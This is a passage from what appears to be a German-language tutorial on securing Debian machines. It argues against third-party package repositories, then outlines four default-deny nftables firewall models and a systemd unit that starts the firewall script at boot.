Risiko einfach zu groß, ich will meine digitale Privatsphäre kompromisslos behalten. Wenn ich ohne Aufwand und mit einfachsten Mitteln etwas gegen die digitale Entmündigung und dem verdeckten Entzug des Rechts auf eine Datenprivatsphäre tun kann, dann tu ich das.... u.a. auch mit der ganz einfachen Maßnahme, rigoros auf Software aus anonymen Fremdquellen zu verzichten.
Die für mich maßgeblich beunruhigende Besonderheit ist, dass nach dem Anfügen der Paketquelle dieser Quelle erlaubt wird, ihm Rahmen der periodischen System-Upgrades auch das aus dieser Paketquelle stammende Programmpaket automatisch zu aktualisieren. Mit der Einrichtung einer solchen Paketquelle ist dieser Paketquelle damit faktisch die Erlaubnis erteilt, regelmäßig bei jedem Upgrade die Installationsbasis meines Rechners zu verändern. Wann sie es tut, ob sie es tut, welches die Änderungen sind, ob das Upgrade-Paket nun vielleicht sogar unerwünschtes enthält …?... keine Ahnung, all das bleibt mir verborgen. Solche automatisch ablaufenden Änderungen würden dann im späteren normalen PC-Betrieb weitestgehend ohne ausdrückliches Einwirken von mir erfolgen, einfach deshalb, weil dieses Dritt-Repo als offizielle Paketquelle auf dem PC eingerichtet ist …. Patches und Updates werden deshalb automatisch und ohne weitere Rückfrage installiert. Das ist genauso komfortabel, wie es hochgradig riskant ist, weil damit die Kontrolle über zu installierende Software bei dieser mir völlig unbekannten Dritt-Quelle mit mir völlig unbekannten Akteuren liegt, die eine mir völlig unbekannte Hardware-Infrastruktur nutzt, zu deren IT-Sicherheit (wer ist dort alles wie weitreichend berechtigt, wer hat virtuellen Zugang zu den Systemen, wer sogar physischen?) überhaupt keine Kenntnisse bestehen. Ich würde heute jedes Linux-System mit eingetragenen und aktiven fremden Paket-Quellen ohne jeden Zweifel als kompromittiert betrachten und jegliche weitere Arbeit zur Herstellung von Sicherheit einstellen. Ich betrachte alle Arbeiten, wie sie hier in diesem Artikel beschrieben sind, unter solchen Bedingungen ohne eine komplette Neuinstallation als totale Zeitverschwendung.
Aus all diesen Gründen ist es fremden Repositories auf keinem einzigen unserer Systeme ermöglicht, Veränderungen an den PCs im Rahmen der regulären Updates/Upgrades durchzuführen, ganz einfach deshalb nicht, weil überhaupt keine Dritt-Quellen eingetragen sind. Mir erschließt sich sowieso nicht der Sinn, warum ich ein von unbekannten erstelltes Paket mit faktisch unbekannten Inhalt verwenden soll, wenn ich doch auch direkt das Original aus dem Community-Projekt verwenden kann, wie beispielsweise von Mozilla oder der Libre-Office-Foundation. Und wenn das nicht möglich ist, kann man vielleicht auch die Quellen downloaden und das Paket selber erzeugen. Bei kleineren Projekten wie OpenVPN, dem ODBC-Treiber oder Notepadqq ist das durchaus möglich. Und wenn das alles nicht geht, gibt es nur eine Lösung, und zwar weiterhin die reguläre Repo-Version nutzen und darauf zu warten, dass das Paket im Repo irgendwann auf die aktuelle Version upgraded wird.
Einrichten des Paketfilters in 4 Varianten
Nun gut, sei‘s drum, hier ist eine Weggabelung, an der ein jeder selbst seine künftige Richtung wählen muss. Deswegen will ich mich ab jetzt mit der Umsetzung von 4 Modellen einfacher Firewall-Regeln befassen, die unsere eigenen privaten Compliance-Regeln softwareseitig unterstützen sollen. Allerdings möchte ich an dieser Stelle einräumen, dass mich -seit ich mit dem Schreiben dieses Artikels angefangen bin- die Frage beschäftigt, ob es überhaupt gut ist, so etwas zu veröffentlichen und ob ich mich damit nicht zu weit aus dem Fenster zu lehne oder auf zu dünnes Eis begebe. Die Gefahr ist, man stürzt ab oder bricht ein... möglicherweise. Man trifft nämlich immer auf jemanden, der alles in Frage stellt und jedweden Erfolg jeglicher Maßnahmen mit aus allen Winkeln und Ecken herbeigezauberten Worst-Case-Szenarien abspricht. Aber ich persönlich halte auch solche Worst-Case-Szenarien sowieso nur für eine bestimmte Ausprägung eines vorhandenen Problems, es ist nur ein wenig übler, als man sich 'gewünscht' hätte. Es gibt aber immer auch Szenarien, die sind zwar mies, aber noch lange nicht Worst-Case. Und genau da können vielleicht auch einfache Schutzmechanismen wirksam helfen. Wenn ich mich zum Beispiel mit dem Thema häusliche Einbruchsicherung befasse, dann muss mir klar sein, dass man echte Profis vermutlich nur sehr schwer und nur mit hohem finanziellen und technischen Aufwand aufhalten kann. Das gleiche gilt wohl auch für unser IT-Equipment. Dennoch können selbst einfachste Maßnahmen bei Dieben vielleicht erfolgreich sein, wenn sich ein nicht so cleverer Gelegenheits-Einbrecher nur den nächsten Tag sichern will, oder bei Kids, die noch am Anfang ihrer kriminellen Karriere stehen. Auch das ist auf unsere IT übertragbar. Aber selbst wenn es sich wirklich um Profis handelt, ist es ja trotzdem nicht notwendig, denen auch noch die Tür aufzuhalten oder Einladungen auszusprechen.
Tja, bestenfalls sind meine Argumente vielleicht nur unvollständig, aber Sichtweise und Vorgehen in diesem begrenzten Anforderungsprofil sachlich und technisch prinzipiell richtig, schlimmstenfalls ist alles kokolores.... wobei ich das letztere aber erst mal nicht glaube und weswegen ich mich allen Bedenken zum Trotz schließlich doch zu diesem Wagnis traue. Das Dilemma ist, man findet leider auch im Netz kein wirklich vergleichbar umfassendes Anschauungsmaterial, welches einem zuerst die eigenen Rahmenbedingungen deutlich macht, die tatsächlichen Risikofaktoren aufzeigt und sich danach mit einer dazu passenden Lösung befasst. Man findet nur Man-Pages und meistens mehr oder weniger komplizierte Regelwerke für iptables, die man einfach übernehmen kann/soll, aber denen fast immer Erklärungen zu den Rahmenbedingungen fehlen, in die sich genau dieses beschriebene Regelwerk optimal einfügt. Man findet keine verständlichen Erklärungen dazu, was man eigentlich braucht, ob man es braucht, wie man die notwendigen Erkenntnissen erwirbt, um überhaupt selber Entscheidungen treffen zu können, und wie man das Gewollte und Benötigte dann auch schließlich erreicht. Letztendlich sind es aber doch genau diese Rahmenbedingungen, die definieren, ob ein Regelwerk wirklich optimal passt oder ob's nur eine pauschale Einstellung ist, die bestenfalls zu 1/2 oder 2/3 passt, oder schlimmstenfalls gar völlig unwirksam ist.
Ich habe deshalb für uns 4 Paketfilter-Modelle entwickelt, von denen ich glaube, dass sie sich bei uns (je nach Anwendungsfall unterschieden) als Software-Unterstützung optimal in das organisatorische und disziplinarische Regelwerk einfügen, ohne unseren IT-Betrieb zu blockieren und trotzdem den bestmöglichen Schutz durch eine funktionierende Firewall zu gewährleisten. Vier Modelle sind es, weil es eben hier 4 unterschiedliche Anwendungsfälle mit unterschiedlichen Schwerpunkten gibt. Aber hier ist unbedingt an eine technische Besonderheit zu denken, und zwar an die direkte Abstimmung zumindest von 2 dieser 4 Paketfilter aufeinander. Schließlich ist es ja so, dass sie im gleichen LAN funktionieren müssen und durchaus auch den gegenseitigen Zugriff auf die Dienste anderer Rechner erlauben sollen. Wie ich zu Anfang schon festgestellt habe, es gibt keine allgemein gültige Lösung, die gleichermaßen vollständig alle Anwendungsfälle perfekt abdeckt…. denn das, was auf der einen Seite notwendigerweise gelockert wird, stellt in einem anderem Szenario ein hohes Sicherheitsrisiko dar. Umgekehrt ist es genau so problematisch, denn das, was auf der einen Seite scharf reguliert wird, blockiert möglicherweise auf einem anderen Rechner notwendige Prozesse. |  |
Also bleibt kein anderer Weg, als sich selber einen oder sogar mehrere Firewall-Maßanzüge zu schneidern. Deshalb jetzt hier als Vorschlag bzw. Hilfe zur Selbsthilfe für vier mal unterschiedliche Anforderungen/Bedingungen auch vier mal unterschiedliche Lösungen.
1 | die mobilen Laptops | Sowohl eingehender als auch ausgehender Traffic wird extrem restriktiv reguliert, weil die Sicherheit unserer heimischen Router-FW an den mir fremden Accesspoints mit unbekannter technischer Ausstattung fehlt |
|
2 | die stationären PCs | Ausgehender Traffic (dadurch auch das User-Verhalten) wird mit expliziten Erlaubnissen reguliert, alles andere ist verboten | |
3 | der Server | Eingehender Traffic wird mit expliziten Erlaubnissen reguliert, alles andere ist verboten. Ausgehend ist erlaubt, was für eigene Services zwingend notwendig ist, alles andere ist verboten. | |
4 | Virtuelle Maschinen | In der virtuellen Maschine wird der Zugriff auf Ressourcen des eigenen Netzwerks verboten, lediglich der Zugriff auf das Internet ist erlaubt. Das ist dann Surfen unter Quarantäne-Bedingungen. | |
Die hier in dieser Beschreibung angelegten bzw. anzulegenden Dateien können mit dem dieser Beschreibung entsprechenden Inhalt unter der folgenden Adresse herunter geladen werden: http://www.thlu.de/Public/security.tar Wenn die im Tar-File enthaltenen Dateien in die späteren Original-Verzeichnisse kopiert werden, um sie dort manuell anzupassen, müssen unbedingt die Rechte-Einstellungen gemäß dieser Anleitung nachbearbeitet werden! Im Übrigen ist es möglich, dass die Beispiele hier in der Anleitung weniger aktuell sind, als die im Tar-File enthaltenen Dateien. Deswegen empfehle ich unbedingt, nur die Beispieldateien aus dem Tar-File zu verwenden | |||
Bevor es also jetzt losgeht, möchte ich noch mal ausdrücklich darauf hinweisen, dass meine Paketfilter-Lösungen 'exklusive' Lösungen sind, das bedeutet, ihnen fehlt jegliche Allgemein-Firewall-Tauglichkeit. Sie befassen sich 'exklusiv' mit jeweils einer konkreten Problemstellung. Vermutlich kann man aus dem Vorgehen weitere Lösungen ableiten, aber das bedarf Sorgfalt, Sachkenntnis und der abschließenden Prüfung, dass es mit diesem neuen Filter sicher ist und ohne nicht. Fehlt diese Bestätigung, kann man sich das sowieso sparen, dann wäre jegliche Arbeit dazu nur verschwendete Zeit. | |||
Da mir bewusst ist, wie kompliziert die Zusammenhänge manchmal zu verstehen sind, versuche ich hier meine persönliche Gewichtung für die Ausrichtung von drei der vier individuellen Paketfilter mit 2 Bildern grafisch darzustellen. Ich hoffe, dass damit die Unterschiede und meine Schwerpunkte für die Paketfilter im Vergleich der Systeme deutlicher sichtbar werden. Outbound beschreibt die Datenpakete, bei denen unser Client-PC selber die Quelle war, die also unseren PC über das Netzwerkinterface verlassen. Inbound beschreibt die Datenpakete, für die ein anderer Rechner die Quelle war, die unser PC also als Empfänger erhält. ACCEPT und DROP legen als Regelergebnis fest, ob ein Paket angenommen oder verworfen wird. Zusätzlich ist an der Stelle darauf zu achten, welchen Verbindungsstatus eine Verbindung hat. Der Status einer Verbindung ist beim Versuch des Verbindungsaufbaus zunächst "NEW". Eine bereits bestehende Verbindung ist "ESTABLISHED" und zu einer bestehenden Verbindung können weitere "RELATED" Portverbindungen gehören. Mein Fokus ist hier allerdings immer auf neue Verbindungen gerichtet. Damit sind alle Anfragen zur Kontaktaufnahme mit einem Dienst auf einem bestimmten Port auf einer anderen Maschine gemeint. Bereits etablierte Verbindungen oder zu etablierten Verbindungen zugehörige weitere relative Verbindungen sind in meinem Modell immer erlaubt. Der Grund für diese Vorgehensweise ist einfach erklärt, eine ESTABLISHED-Verbindung muss schon zuvor bei der Prüfung auf State NEW genehmigt worden sein. Eine gleich zu Beginn abgewiesene Verbindung kann also nie ESTABLISHED werden, und nur erfolgreich etablierte Verbindungen können weitere RELATED-Verbindungen öffnen. |   |
Ich reguliere also, wer eine neue Verbindung initiieren darf und wer eine neue von anderer Stelle initiierte Verbindung annehmen darf. Beim mobilen Laptop liegen die Schwerpunkt ganz offensichtlich auf den Verboten, im Sinne dessen, das nichts erlaubt ist. Beim Vergleich von PC und Server im Heimnetz sieht man für inbound und outbound ein fast umgekehrtes Verhältnis. Dem PC ist wie dem Laptop eingehend sehr wenig erlaubt, ausgehend hingegen ist viel erlaubt. Dem Server ist eingehend viel erlaubt, ausgehend aber sehr wenig. Die Darstellungen sollen jetzt wirklich nicht rechnerisch korrekt die Anzahl gesetzter Regeln widerspiegeln, sie soll allein durch die Größe der Balken einen optischen Eindruck vermitteln, wo auf unseren Systemen in meinem Lösungsansatz die Schwerpunkte zur Regulierung des Datenverkehrs durch den Paketfilter liegen. Ich spreche hier auch gar nicht von Verboten, sondern nur von Erlaubnissen, wir dürfen nämlich nicht vergessen, dass ich mit den Default-Policies "Drop" sowieso alles verboten habe, was nicht ausdrücklich erlaubt ist.
Ich beginne mit dem einfachen Paketfilter meines Reise-Laptops, der sich unterwegs mit ständig wechselnden Accesspoints verbindet. Und dabei (wie auch bei den beiden noch folgenden) habe ich mich wieder -wie schon oft in der Vergangenheit- entschieden, auch hierbei nur sowieso vorhandene Board-Mittel zu nutzen und den Grad der Kompliziertheit nach der Devise zu gestalten „so kompliziert wie nötig, so einfach wie möglich“, und … ich sagte es schon: vor allem kompromisslos eindeutig. Ich will wie bei früheren Projekten auch hier wieder darauf verzichten, weitere Pakete zu installieren, die mir vielleicht nur irgendwas -ggf. sogar unnötiges- abnehmen. Mit dem Kernel ist die Paketfilter-Funktion bereits gegeben, mit der Bash die notwendigen Möglichkeiten zum Erstellen der Regeln, mit systemd-Service-Units ist die Frage der Aktivierung beim Systemstart gelöst. Ich will keinesfalls ein fertiges Desktop-Firewall-Programm installieren, welches mir eine unüberschaubare Anzahl und kaum verständliche Regeln anlegt und damit protzt, wie unfähig ich doch bin, weil ich das alles nicht verstehe. Und ich will auch keine zusätzlichen Programme, die solche einfachen Aufgaben wie Aktivieren und Deaktivieren übernehmen.... Debian hat alles, was notwendig ist, sowieso an Bord. Diese Prämisse gilt auch für die 2 noch folgenden Paketfilter.
Meine Devise für meine Personal Firewall ist: Es muss einfach nur einfach sein. Und die einfachste Lösung ist, erst mal alles zu verbieten und dann sukzessive nur das zu erlauben, was wirklich gebraucht wird. Alles andere, was da noch so drum-rum existiert, interessiert mich nicht. Ich brauche keine Logs, wer wann von wo kommend wie oft abgewiesen wurde...ohne Firewall wüsste ich das auch nicht, und ich will‘s auch nicht wissen. Mir reicht‘s zu wissen, dass lückenlos alles verboten ist, was ich nicht ausdrücklich erlaubt habe. Und weil meine Dienste sowieso nicht im Internet lauschen und ich den Fokus auf „innere Sicherheit“ gerichtet habe, halte ich das für ausreichend.
Es sind hier zwar 4 unterschiedliche Paketfilter, aber alle 4 Lösungen haben das gemeinsame Problem, dass sie beim Starten des jeweiligen Systems aktiviert werden müssen. Der Start des entsprechenden Paketfilters erfolgt während des Systemstarts für alle Systeme gleichbleibend über diese systemd-Service-Unit, die ein Bash-Script startet, welches dann die jeweiligen Paketfilter-Regeln für diesen Rechner setzt. Aber selbst dieser einfache Vorgang erfordert wieder eine Entscheidung, die bei größerer Sachkenntnis und entsprechend sensiblen Datenumfang durchaus nicht trivial ist. Ich muss die Frage beantworten, ob ich die Firewall bereits starte, bevor das Netzwerk etabliert ist oder erst hinterher. Starte ich die FW hinterher, könnten subversive Prozesse die kurze Lücke zwischen fertigem Netzwerk und fertiger FW faktisch für alles nutzen… natürlich auch dafür, sich eine Hintertür im Paketfilter einzurichten. Aber das bedingt natürlich, dass ein solcher Prozess nicht nur vorhanden ist, sondern bereits auch noch frühestmöglich in der Init-Phase des Rechners gestartet wird. Mit anderen Worten, es setzt die Annahme voraus, dass der Rechner bereits kompromittiert ist. Tja, ich unterstelle, dass es auf meinen Rechnern solche Prozesse nicht gibt – begründet mit der Annahme, dass Debian selber bei der Installation nicht kompromittiert ist. Und nach abgeschlossener Installation hat kein einziger Anwender die Berechtigung, Veränderungen an der Installationsbasis seines Rechners vorzunehmen. Ich habe mich entschieden, den zu regulierenden Traffic weitestgehend an die Subnetze des LANs zu binden, das bedeutet, für gewisse Services werden nur Pakete angenommen, deren Quelle hier im LAN liegt. Aber dazu brauch ich das etablierte Netzwerk, damit eben der Client die Site-ID (i.ü.S. auch für IPv4) selber ermitteln kann. Aus diesem Grund starte ich die Firewall also erst nach dem Netzwerk, nachdem die Interfaces erfolgreich initialisiert sind.
/etc/systemd/system/netfilter.service | Die Rechte-Einstellung für die Unit: root:root 644 |
[Unit] Description=thlu:netfilter.service: Set local Netfilter DefaultDependencies=no After=network.target [Service] Type=simple RemainAfterExit=yes ExecStart=/usr/local/bin/netfilter ExecStop= /usr/local/bin/netfilter flush [Install] WantedBy=multi-user.target |
Alle hier noch folgenden Beispiele basieren auf nftables, dem Nachfolger der traditionellen iptables. Das in meinen Beispielen verwendete Programm "nft" ist das Frontend im Userspace und wird zur Konfiguration der Regel-Tabellen (Tables) im Linux-Kernel benötigt, in dem letztendlich die Firewall über eine Reihe von Netfilter-Modulen enthalten ist. Diese Tabellen enthalten weiterhin Chains (Ketten), in denen wiederum die eigentlichen Rules (Filterregeln) enthalten sind. Alle Tables, Chains und Rules werden explizit durch die Scripte angelegt.
Für über meine Beispiele hinausgehende Lösungen bzw. Vorhaben oder weitere Informationen gibt es die Projektseiten des Netfilter-Projects im WWW, welche wirklich ausgezeichnete Informationen und Beispiele enthalten. Ich möchte mich hier jedoch nur auf einige elementare Basics beschränken, die einem ein wenig dabei helfen sollen, die grundsätzliche Funktionsweise des Paketfilters zu verstehen. Wer jetzt also noch Neugierig ist und bereit ist, einen kleinen etwas tiefer gehenden Blick rein zuwerfen, findet hier noch ein paar weitere Informationen:
< Überblick zur Paketfilter-Funktionsweise >
Ursprünglich sollte das auch hier Inhalt dieses Artikels sein, aber ich bin jetzt der Meinung, das ist zu technisch, das Wissen darum ist auch nicht zwingend erforderlich… aus diesem Grund habe ich das in einen Nebenartikel ausgelagert. Beschäftigen wir uns also einfach mit den Paketfilter-Beispielen, die mit den im Vergleich zu iptables moderneren nftables installiert werden.
1. Paketfilter für ein Mobil-Gerät mit wechselnden Netzwerkverbindungen
Die Zielsetzung für dieses erste Paketfilter-Beispiel ist ein primärer Schutz meines Laptops, der sich auf Reisen oft an unbekannten und wechselnden WLAN-Accesspoints anmeldet. An dem Punkt stelle ich noch nicht mal die Frage nach dem Schutz meines normalen Surf-Datenverkehrs nachdem die Netz-Verbindung hergestellt ist, der bei HTTP ja durchaus offen lesbar bar ist. Ein solches Problem wird kurzerhand mit einer vollständigen Verschlüsselung durch eine Verbindung über OpenVPN zum heimischen Router gelöst, und zwar sobald ich der Meinung bin, dass der Datenverkehr sensible Daten enthalten könnte. Aber mal eben den Wetterbericht anzusehen, eine Route auf Maps finden oder das TV-Programm zu checken, halte ich nicht für sensibel. Hier geht‘s mir konkret um die Mitgliedschaft in einem fremden LAN, in dem mein PC sichtbar und auch ansprechbar ist … was prinzipiell technisch nicht großartig anders einzuschätzen ist, so wie man seine PCs allesamt auch zuhause im LAN sehen und (z.B. via SSH) ansprechen kann. Ein Port-Scan oder gar eine direkte Attacke auf bekannte Ports ist ohne Umweg möglich. Die Direktive dieses Filters ist also recht einfach beschrieben, es gelten 2 einfache Forderungen:
1. | Es ist grundsätzlich alles verboten |
|
